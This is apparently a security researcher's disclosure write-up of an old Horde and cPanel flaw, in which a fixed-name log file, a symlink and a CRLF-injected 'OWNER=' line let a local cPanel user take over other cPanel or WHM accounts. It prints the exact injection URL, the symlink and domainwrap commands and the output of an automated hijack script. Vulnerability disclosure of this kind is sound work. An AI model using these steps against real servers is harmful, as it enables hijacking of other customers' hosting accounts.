Finding bugs PT II - Snooping your neighbor via... Horde? Owning every cPanel and WHM account on the box

How design issues in Horde and cPanel, when combined into 1 attack, allowed anyone with a cPanel account to take control of any other cPanel or WHM account on the server


The oldschool way to log into someone else's account: use their username, and their password.

The newschool way to log into someone else's account: use their username, and your password.

The backstory: On 03/06/2008 someone in #cPanel on Efnet mentioned something about a local root exploit in Horde. Apparently a large webhosting company had discovered a directory traversal and local file inclusion attack in Horde. They stated this could be used to leverage root access, although details were scarce at first. A developer at the Horde Project responded, criticizing the webhost for their lack of prior notification, and also stating that command execution was not reproducible.

root access should only be possible on systems where the server environment somehow provides a path from Horde to root, whether it's a direct path (e.g., running Horde as root), or via systems shared between Horde and root. For example, on cPanel servers:

Thus, a flaw in Horde could be used to trojan files belonging to phpMyAdmin, which, if run by the root user, could end up executing arbitrary commands as root.

Curiosity getting the best of me, I decided to go bug hunting. Almost immediately a trivial, yet all too common flaw was discovered in Horde. With a little more poking and prodding, I figured out a way that allowed any local cPanel user to access anyone else's cPanel or WHM account. What follows are the details putting that together from start to finish.

Kicking things off, the first plan of action was to manually browse each file in the /usr/local/cpanel/base/horde directory and observe the results (e.g., output sent to the browser, changes to the filesystem, etc).

[root@host ~]# ls -al /usr/local/cpanel/base/horde/
total 148
drwxr-xr-x 21 root wheel  4096 Mar  8  2008 ./
drwxr-xr-x 19 root root   4096 Jul  6 20:14 ../
-rw-r--r--  1 root wheel 23244 Aug 21  2006 COPYING
-rw-r--r--  1 root wheel  3546 Oct 18  2005 README
drwxr-xr-x  5 root wheel  4096 Mar  7  2008 admin/
drwxr-xr-x  2 root wheel  4096 Jun 24 13:25 config/
drwxr-xr-x  2 root wheel  4096 Mar  7  2008 docs/
drwxr-xr-x 11 root wheel  4096 Mar  8  2008 imp/
-rw-r--r--  1 root wheel  3709 Jan  2  2007 index.php
drwxr-xr-x 11 root wheel  4096 Sep 12  2006 ingo/
drwxr-xr-x 14 root wheel  4096 Sep  6  2007 jonah/
drwxr-xr-x  2 root wheel  4096 Mar  7  2008 js/
drwxr-xr-x 11 root wheel  4096 Apr 23  2008 kronolith/
drwxr-xr-x 12 root wheel  4096 Mar  7  2008 lib/
drwxr-xr-x 43 root wheel  4096 Mar  7  2008 locale/
-rw-r--r--  1 root wheel  7255 Jan  2  2007 login.php
drwxr-xr-x 11 root wheel  4096 Mar  8  2008 mnemo/
drwxr-xr-x 11 root wheel  4096 Mar  8  2008 nag/
drwxr-xr-x  2 root wheel  4096 Mar  7  2008 po/
-rw-r--r--  1 root wheel  3236 Mar  9  2007 rpc.php
drwxr-xr-x  5 root wheel  4096 Mar  7  2008 scripts/
drwxr-xr-x 10 root wheel  4096 Mar  7  2008 services/
-rw-r--r--  1 root wheel  2495 Jan  2  2007 signup.php
drwxr-xr-x 17 root wheel  4096 Mar  7  2008 templates/
-rw-r--r--  1 root wheel 16255 Feb 16  2007 test.php
drwxr-xr-x 28 root wheel  4096 Mar  7  2008 themes/
drwxr-xr-x 10 root wheel  4096 Sep 12  2006 turba/
drwxr-xr-x  2 root wheel  4096 Mar  7  2008 util/


As if it wasn't strange enough that a webmail application could supposedly be used to get root, all it took was browsing to 1 URL to discover a bug that would ultimately allow any local cPanel user to take control of any other cPanel or WHM account on the machine: https://example.com:2096/horde/admin


This is what /tmp looked like before browsing to that URL:

[root@host ~]# ls -al /tmp/
total 2
drwxrwxrwt   2 root  root  1024 Mar  6 15:38 .
drwxr-xr-x  23 root  root  1024 Mar  6 15:08 ..
srwxrwxrwx   1 mysql mysql    0 Mar  6 15:06 mysql.sock

and this is what it looked like afterwards:

[root@host ~]# ls -al /tmp/
total 3
drwxrwxrwt   2 root   root   1024 Mar  6 15:38 .
drwxr-xr-x  23 root   root   1024 Mar  6 15:08 ..
-rw-r--r--   1 cpanel cpanel  116 Mar  6 15:38 horde_32002.log
srwxrwxrwx   1 mysql  mysql     0 Mar  6 15:06 mysql.sock


Note the user:group on the horde_32002.log file: cpanel:cpanel. Next I removed the horde_32002.log file and repeated the test. The same file was written to /tmp. Now it was apparent that the filename was not being randomly generated, and was in fact always going to be the same. What are the odds that this statically named file can be used in a useful symlink attack?

[root@host ~]# rm -f /tmp/horde_32002.log
[user@host /tmp]$ ln -s /usr/local/cpanel/base/horde/config/.htaccess horde_32002.log
// Access https://example.com:2096/horde/admin
[user@host /tmp]$ cat /usr/local/cpanel/base/horde/config/.htaccess
Deny from all
Mar 06 15:41:26 HORDE [emergency] [horde] Forbidden. [on line 16 of "/usr/local/cpanel/base/horde/admin/index.php"]


Great. Now we know that:

We still need to find out 2 more things to make this a worthwhile attack:


First, a note was made of all files and directories owned by the user or group "cpanel":

[root@host ~]# find / -user cpanel -o -group cpanel 2>/dev/null


The output from that command today will differ from what it used to be, as changes have since been made to the way that Horde, phpMyAdmin, phpPgAdmin, and Roundcube operate on cPanel servers.

Now we needed to figure out if there was a way that we could control the data that is placed inside the horde_32002.log file. If so, this would mean that we could append whatever data we wanted to a file that was writable by uid or gid "cpanel". The hunt was on. This part took a few minutes but it wasn't long before a way was found to control the log file output.

If you have access to a cPanel server, you can play along at home:

First, log into Horde, then go here: https://example.com:2096/horde/services/obrowser/

You should see a screen that shows these 3 links:

Address Book https://example.com:2096/horde/services/obrowser/?path=turba
Calendar https://example.com:2096/horde/services/obrowser/?path=kronolith
Tasks https://example.com:2096/horde/services/obrowser/?path=nag


Let's see what happens when we pass our own value to the path variable: https://example.com:2096/horde/services/obrowser/?path=TEST

You should see the following:


A fatal error has occurred
The method "browse" is not defined in the API for TEST.
Details have been logged for the administrator.

The "details have been logged for the administrator"? Nice! Note that previously this would have been logged to /tmp/horde_32002.log (or /tmp/horde_0.log). Today it logs to /var/cpanel/horde/log/horde_0.log as user:group cpanelhorde:cpanelhorde.

Let's see what the log says:

[root@host ~]# cat /var/cpanel/horde/log/horde_0.log
Jul 10 16:08:43 HORDE [emergency] [horde] The method "browse" is not
defined in the API for TEST. [on line 33 of
"/usr/local/cpanel/base/horde/services/obrowser/index.php"]


Did you see it? There's our input - "TEST". Now we still need to find a file that is writable by the cpanel user or group, and that is useful to us. It turns out that the local cpanel user files in /var/cpanel/users are (were?) owned and writable by the cpanel user. On my test box, one file is owned by the cpanel user, and the other is owned by root. I'm not sure of the reason for this discrepancy.

Looking at a random /var/cpanel/users/$username file, there are 2 lines that look interesting: the USER line, and the OWNER line. The USER is simply the username of the account, and the OWNER is the username which owns the account (e.g., root, or the username of a reseller).

As luck would have it, if there exists a duplicate OWNER line in the user config file, cPanel will use the last one. This means that we can craft this duplicate line with an OWNER of our choice via the following URL:

https://example.com:2096/horde/services/obrowser/?path=%0d%0aOWNER=me%0a


Notice how CRLF (%0d%0a) is used to place OWNER=me on its own line:

[root@host ~]# cat /var/cpanel/horde/log/horde_0.log
Jul 10 19:28:16 HORDE [emergency] [horde] The method "browse" is not defined in the API for
OWNER=me
. [on line 33 of "/usr/local/cpanel/base/horde/services/obrowser/index.php"]


Now the stage was set for owning any and every other control panel user on the box, including all of the resellers. Back when the horde log was created at /tmp/horde_0.log, you could append those 3 lines to anyone's cPanel user file via a symlink attack:

[user@host /tmp]$ ln -s /var/cpanel/users/victim horde_0.log


Then you would issue the request to horde/services/obrowser/?path= as shown above, replacing "me" with your username.

One final obstacle remained, however. Now that /var/cpanel/users/victim was modified, we still needed a way to update /etc/trueuserowners. That file is user:group root:root, 0644. Was this the end of the road? All that effort for nothing? Not a chance:

[user@host ~]$ /usr/local/cpanel/bin/domainwrap DEL XXXXXXXX


"XXXXXXXX" can be anything.

Now that /etc/trueuserowners was updated, we could log into the victim account with their username and our own password. Resellers could even log into other reseller accounts.

Putting it all together for an automated attack:

url=&horde_user=username%40example.com&horde_pass=$password_horde&new_lang=en_US


All in all it took perhaps 15 seconds or so, and looked like this:

[user@host ~]$ ./11.19.1-DEMO_21586-horde_cPanel_account_hijack.pl
Usage: ./11.19.1-DEMO_21586-horde_cPanel_account_hijack.pl <victim username>


[user@host ~]$ ./11.19.1-DEMO_21586-horde_cPanel_account_hijack.pl stoled
[+] Logging into cPanel webmail....: done
[+] Grabbing Horde session ID......: e27950a13f305bf30c5ac2449455d8d5
[+] Grabbing Horde auth key........: 6d3adfce63f24aff1d0480baa54eff84
[+] Grabbing new Horde session ID..: f90a116839cf27b871e7ea78d2851c44
[+] Creating the symlink...........: done
[+] Sending the evil request.......: done
[+] Updating /etc/trueuserowners...: done
[+] Verifying control of account...: done
You are now in control of the user stoled